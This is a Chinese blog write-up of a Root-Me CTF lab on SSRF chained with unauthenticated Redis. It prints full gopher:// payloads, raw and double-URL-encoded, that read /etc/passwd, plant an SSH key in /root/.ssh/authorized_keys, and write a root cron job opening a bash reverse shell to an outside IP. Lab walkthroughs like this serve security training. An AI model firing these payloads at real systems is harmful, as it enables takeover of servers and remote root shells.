Root me CTF all the day靶场ssrf+redis漏洞

于 2024-10-10 00:08:36 发布
阅读量829 收藏 12
点赞数 27
文章标签： redis dubbo web安全 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/M372109150/article/details/142753080
版权

Rootme CTF all the day靶场ssrf+redis漏洞

一、环境介绍

1、漏洞地址

https://www.root-me.org/en/Capture-The-Flag/CTF-all-the-day/

2、漏洞介绍

SSRF+redis 获取内网主机权限，利用SSRF来对redis的未授权访问执行命令。从而达到获取主机权限的目的

二、 搭建环境

首先需要创建账号，点击右上的绿色小加号来创建账号，创建完成后回到此页面。找到一个处于none的虚拟机，点击房间名，如下的ctf12
在这里插入图片描述
然后进入之后选择需要创建的虚拟机，选择SSRF Box，点击保存，选择start the game。选择完成之后需要加载（等待一会）然后访问 ctf12.root-me.org 就可以看到启动的虚拟环境了（如下图）
在这里插入图片描述

三、测试过程

访问ctf12.root-me.org

在这里插入图片描述
在页面的输入框中输入百度地址后，会把百度首页加载进来。
在这里插入图片描述
在这里插入图片描述

3.1 读取系统文件

1、可以在输入框中随便输一个url，抓包，然后把包发送到Repeater模块，把url后面的内容修改为 file://…/…/…/etc/passwd，来读取该文件
在这里插入图片描述

3.2 探测开放的服务器端口(dict协议)

dict协议一般常用来探测内网主机以及端口开放情况，既然能够探测端口，那么可以探测不同端口对应的服务的指纹信息。当然dict协议也可以用来执行一些服务的命令
注意：dict执行命令多行操作的命令时，只能一次执行单行，需分多次执行。

首先将包发送到Intruder模块，爆破端口，端口开放显示为OK，没有开放显示为Connection refused。

在这里插入图片描述
这里我们已经知道是6379端口了，所以为了不浪费时间，区间就设置为6000-7000
在这里插入图片描述
端口没有开放显示（如下图）

在这里插入图片描述
端口开放显示（如下图）

在这里插入图片描述
发现6379端口，判断redis服务有无身份验证，发现redis存在未授权访问

在这里插入图片描述

3.3 redis未授权访问

3.3.1 利用redis来写ssh密钥（gopher协议写入）

此处利用ssh生成一对公私钥，生成的默认文件为id_rsa.pub和id_rsa。把id_rsa.pub上传至服务器即可。我们利用redis把目录设置为ssh目录下：根据网上写密钥有两种协议可以使用，一种是dict，一种是gopher。测试使用dict协议写不成功，写入后不能连接，此处使用gopher写密钥。
原始payload为：

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$576%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHSdAmmBYRnUrfOOO0N0Y/fKCLHEqt8aoc3pQPfAKStDL12rlPlf0nmkzQmPcHoHBKW6AEqb2QXWiB2TQFJTBdMXThHdZe4RzN5pLPPlqUg6dZZQhIT0/La+POIyRRVRld+8vwDw1bNpWcnlNPxf77LS9yJxQZzub6o7OWL/w2xWLexSQAYUQ9mflz4qluV+/M4iVRuZ3FNzqDWgeIziDCUaJydBpO1cisMj9TWkXCmGaj5hl1WsrffaIjsdHO6wbrZIERGh/3HDpwXlsVXc2+m9Nyxalh4qeGFVG/Fso7APhVcAfhA3lkNOTwySk+sss6JE2ic3slvIO2zXj1wI/IHMPXNb2nhnVW+WRSDp9OAcDxdLTJK0k2pVlq2yi/dWUjrcZBP3LV9pnb5ASrKmhBzxkqSPnrBhyp55qawKW2rnCeHSg9gMt/OBlMKrGnroZj+w9scuie5OxDy/7Vvr7l8vq2IbzBoWEd5d4dxCDpmtXZS/yEnIo5Y9IIQJNuOvs= root@mk50%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

原始内容为：

gopher://127.0.0.1:6379/_*3
$3
set
$1
1
$576
 
 
 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHSdAmmBYRnUrfOOO0N0Y/fKCLHEqt8aoc3pQPfAKStDL12rlPlf0nmkzQmPcHoHBKW6AEqb2QXWiB2TQFJTBdMXThHdZe4RzN5pLPPlqUg6dZZQhIT0/La+POIyRRVRld+8vwDw1bNpWcnlNPxf77LS9yJxQZzub6o7OWL/w2xWLexSQAYUQ9mflz4qluV+/M4iVRuZ3FNzqDWgeIziDCUaJydBpO1cisMj9TWkXCmGaj5hl1WsrffaIjsdHO6wbrZIERGh/3HDpwXlsVXc2+m9Nyxalh4qeGFVG/Fso7APhVcAfhA3lkNOTwySk+sss6JE2ic3slvIO2zXj1wI/IHMPXNb2nhnVW+WRSDp9OAcDxdLTJK0k2pVlq2yi/dWUjrcZBP3LV9pnb5ASrKmhBzxkqSPnrBhyp55qawKW2rnCeHSg9gMt/OBlMKrGnroZj+w9scuie5OxDy/7Vvr7l8vq2IbzBoWEd5d4dxCDpmtXZS/yEnIo5Y9IIQJNuOvs= root@mk50
 
 
 
 
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*1
$4
save
*1
$4
quit

进行写入操作，对_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$576%0d%0a%0a%0a%0assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHSdAmmBYRnUrfOOO0N0Y/fKCLHEqt8aoc3pQPfAKStDL12rlPlf0nmkzQmPcHoHBKW6AEqb2QXWiB2TQFJTBdMXThHdZe4RzN5pLPPlqUg6dZZQhIT0/La+POIyRRVRld+8vwDw1bNpWcnlNPxf77LS9yJxQZzub6o7OWL/w2xWLexSQAYUQ9mflz4qluV+/M4iVRuZ3FNzqDWgeIziDCUaJydBpO1cisMj9TWkXCmGaj5hl1WsrffaIjsdHO6wbrZIERGh/3HDpwXlsVXc2+m9Nyxalh4qeGFVG/Fso7APhVcAfhA3lkNOTwySk+sss6JE2ic3slvIO2zXj1wI/IHMPXNb2nhnVW+WRSDp9OAcDxdLTJK0k2pVlq2yi/dWUjrcZBP3LV9pnb5ASrKmhBzxkqSPnrBhyp55qawKW2rnCeHSg9gMt/OBlMKrGnroZj+w9scuie5OxDy/7Vvr7l8vq2IbzBoWEd5d4dxCDpmtXZS/yEnIo5Y9IIQJNuOvs= root@mk50%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$11%0d%0a/root/.ssh/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$15%0d%0aauthorized_keys%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a这部分url编码方可成功

编码后playload:

gopher://127.0.0.1:6379/_*3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%24576%250d%250a%250a%250a%250assh-rsa+AAAAB3NzaC1yc2EAAAADAQABAAABgQDHSdAmmBYRnUrfOOO0N0Y%2ffKCLHEqt8aoc3pQPfAKStDL12rlPlf0nmkzQmPcHoHBKW6AEqb2QXWiB2TQFJTBdMXThHdZe4RzN5pLPPlqUg6dZZQhIT0%2fLa%2bPOIyRRVRld%2b8vwDw1bNpWcnlNPxf77LS9yJxQZzub6o7OWL%2fw2xWLexSQAYUQ9mflz4qluV%2b%2fM4iVRuZ3FNzqDWgeIziDCUaJydBpO1cisMj9TWkXCmGaj5hl1WsrffaIjsdHO6wbrZIERGh%2f3HDpwXlsVXc2%2bm9Nyxalh4qeGFVG%2fFso7APhVcAfhA3lkNOTwySk%2bsss6JE2ic3slvIO2zXj1wI%2fIHMPXNb2nhnVW%2bWRSDp9OAcDxdLTJK0k2pVlq2yi%2fdWUjrcZBP3LV9pnb5ASrKmhBzxkqSPnrBhyp55qawKW2rnCeHSg9gMt%2fOBlMKrGnroZj%2bw9scuie5OxDy%2f7Vvr7l8vq2IbzBoWEd5d4dxCDpmtXZS%2fyEnIo5Y9IIQJNuOvs%3d+root%40mk50%250a%250a%250a%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2411%250d%250a%2froot%2f.ssh%2f%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%2415%250d%250aauthorized_keys%250d%250a*1%250d%250a%244%250d%250asave%250d%250a*1%250d%250a%244%250d%250aquit%250d%250a

在这里插入图片描述
查看是否写入的成功 ，可以看到成功写入公钥

在这里插入图片描述
然后就可以使用vps进行ssh登录到目标机器上

ssh -i /root/.ssh/id_rsa root@ip

3.3.2 利用redis写定时任务来反弹shell（gopher协议写入）

要用到一台外网主机，然后使用nc做端口监听。
原始payload：

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/外网IP/8888 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

原始内容为：

*3
$3
set
$3
ttt
$69



*/1 * * * * bash -i >& /dev/tcp/外网IP/8888  0>&1




*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit

进行写入操作，发现没有写入成功。原因在于：curl_exec()造成的SSRF，gopher协议需要使用二次URLEncode;而file_get_contents()造成的SSRF，gopher协议就不用进行二次URLEncode；

在这里插入图片描述
对_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/外网IP/8888 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a这部分进行url编码后进行发包，可以成功看到4个ok，说明四条语句均执行成功

url编码后playload为：

gopher://127.0.0.1:6379/_*3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2461%250d%250a%250a%250a%250a*%2f1+*+*+*+*+bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.182.131%2f8888+0%3e%261%250a%250a%250a%250a%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a*4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a*1%250d%250a%244%250d%250asave%250d%250a*1%250d%250a%244%250d%250aquit%250d%250a

在这里插入图片描述
等待1分钟，Vps成功接收到回连的shell（这里我的可能出了问题，借用大佬的图片）
在这里插入图片描述
查看写入的key

在这里插入图片描述
可以看到确实成功写入到了redis中，但就是我的vps连不上。

在这里插入图片描述
到此结束！

Fly`
关注
root-me：network（一）
qingjie0ng的博客
12-31 1689
前言：部分wp，剩下的有空会补上，属于流量分析题 FTP-authentication 地址：Challenges/Network : FTP - authentication [Root Me : Hacking and Information Security learning platform] (root-me.org) 题目：通过 FTP 实现的经过身份验证的文件交换。恢复用户使用的密码。（FTP请求过程中的流量抓取生成了文件，我们要从其中进行数据包捕获分析） 步骤： 开始挑战，会
RootMe
z4yn:)的博客
10-09 1019
RootMe 获取root权限 先Nmap扫全端口，开放了22，80端口 在用Nmap -A 综合扫描指定的开放端口 只能从80端口入手，访问80 尝试访问一下robots.txt文件，不存在 用dirbutser扫网站目录，我一般配合dirb一起扫 两个都扫到一个uploads目录和panel目录 uploads通常用来放上传的文件 访问panel目录是个上传点，直接上传一个反弹shell的PHP脚本 用的是kali自带的PH...
RootMe--HTTP - POST
weixin_34253539的博客
04-03 757
题目链接：https://www.root-me.org/en/Challenges/Web-Server/HTTP-POST 打开题目有一个Give a try!的框，点击让分数超过999999。 不管怎么点分数都超不过，按F12找到Elements下面发现有一个函数 可直接修改方框里的内容，使其超过999999。然后点击方框得到flag flag：H7tp_h4s_N0_...
RootMe--HTTP Headers
weixin_34357962的博客
04-03 259
题目链接：https://www.root-me.org/en/Challenges/Web-Server/HTTP-Headers 题目提示： 1. HTTP response里有信息 2. administrator身份访问网页 打开题目里面有一句话：Content并不是HTTP响应的唯一部分，再加上题目是HTTP Headers。按下F12 Google chromeF1...
root_me.zip
04-25
root工具，用来对u8860进行root
通过SSRF操作Redis主从复制写Webshell_R3start1
08-03
1.使用 DICT 协议添加一条测试记录 2.设置保存路径 3.设置保存文件名 4.保存 1.连接远程主服务器 2.设置保存路径 3.设置保存文件名 4.保存
CTFHUB-SSRF-Redis协议
qq_62078839的博客
04-23 2104
利用工具gopherus来生成payload 这里我们进行第二次url编码时，不需要再将%0a换为%0d%0a了，因为生成的payload已经替换了 gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250...
CTFHUB技能树-SSRF-redis协议踩坑
u011250160的博客
01-03 637
在gopherus上面输入命令：python gophers.py --exploit redis。虽然蚁剑连接不上但可以用url+shell?cmd=ls / 获取flag。然后文件名过长好像是被截断导致文件后缀少了一个p。如果是get传参需要再进行一次url编码。将自动生成的代码url解密可以得到。文件名最好还是用shell.php。我测试了s.php但文件没内容。接下来看可以连接蚁剑的代码。system修改为eval。
SSRF漏洞靶场
WINDY_PACE的博客
05-15 2850
对于SSRF，回显是能够成功利⽤的重要条件，所以过滤返回信息，验证远程服务器对请求的响应是⽐较容易的⽅法。如果WEB应⽤ 是去获取某⼀种类型的⽂件，那么在把返回结果展⽰给⽤户之前先验证返回的信息是否符合标准。 禁⽤不需要的协议，仅仅允许HTTP和HTTPS请求。可以防⽌类似于file://、gopher://、ftp://等引起的问题
[羊城杯 2020]easyser - 反序列化+SSRF+伪协议(绕过死亡die)
oZuoShen123的博客
10-08 1050
F12看提示： 小胖说用个不安全的协议从我家才能进ser.php呢！ ! 意思就是http协议就能进ser.php，回顾一下http协议咋用的？……
Rootme-WriteUp:来自tryhackme的RootME文章
04-13
RootME-tryhackme 通过0xRar 扫描 nmap -T4 -A -p- MACHINE_IP Nmap scan report for MACHINE_IP Host is up (0.15s latency). Not shown: 65464 closed ports, 69 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 4a:b9:16:08:84:c2:54:48:ba:5c:fd:3f:22:5f:22:14 (RSA) | 256 a9:a6:86:e8:ec:96:c3:f0:03:cd:16:d5:49
RootMe--Improper redirect
weixin_34268843的博客
04-03 161
题目链接：https://www.root-me.org/en/Challenges/Web-Server/Improper-redirect 题目提示： 1. 不正确的重定向 2. 获取访问索引的权限 打开题目有一个登录框，且链接后面有redirect，随便输入用户名密码，显示认证失败。既然是想访问index，尝试访问： http://challenge01.root-m...
RootMe--HTML
weixin_34292924的博客
04-02 200
题目链接:　　http://challenge01.root-me.org/web-serveur/ch1/ 入门题，打开浏览器，按F12可看到一段注释 得到flag：nZ^&@q5&sjJHev0 转载于:https://www.cnblogs.com/yuuki-aptx/p/10644254.html...
Tryhackme-RootMe
个人博客
09-23 396
RootMe 文章目录RootMeTask1 Deploy the machineTask2 ReconnaissanceTask3 Getting a shellTask4 Privilege escalation Task1 Deploy the machine Deploy the machine Task2 Reconnaissance 1.Scan the machine, how many ports are open? 2 2.What version of Apache is runnin
RootMe--HTTP - Open redirect
weixin_34072637的博客
04-02 474
题目链接：https://www.root-me.org/en/Challenges/Web-Server/HTTP-Open-redirect 点开题目后发现有三个图标链接，点击slack，发现链接后面加了字符串然后跳转到了slack的官网。先用burp suite分析下 果然后面加了一串数字，看着像MD5的特征，找个在线MD5解密网站解一下https://www.md5online...
THM学习笔记—RootMe
最新发布
jiangyu0_0的博客
03-16 500
THM学习笔记—RootMe
[Root-me]Insecure Code Management Writeup
Vicl1fe的博客
12-29 6022
个人博客地址 http://www.darkerbox.com 欢迎大家学习交流 Root-me网址： https://www.root-me.org/en/Challenges/Web-Server/Insecure-Code-Management 知识点 git文件泄露 。。。 既然是git文件泄露，就需要泄露的工具了：https://github.com/internetwache/...
[Root-me]XSS - Stored 1
Vicl1fe的博客
01-05 2800
个人博客地址 http://www.darkerbox.com 欢迎大家学习交流 Root-me网址： https://www.root-me.org/en/Challenges/Web-Client/XSS-Stored-1 题目描述 Steal the administrator session cookie and use it to validate this chall. 窃取管理...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fly`

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值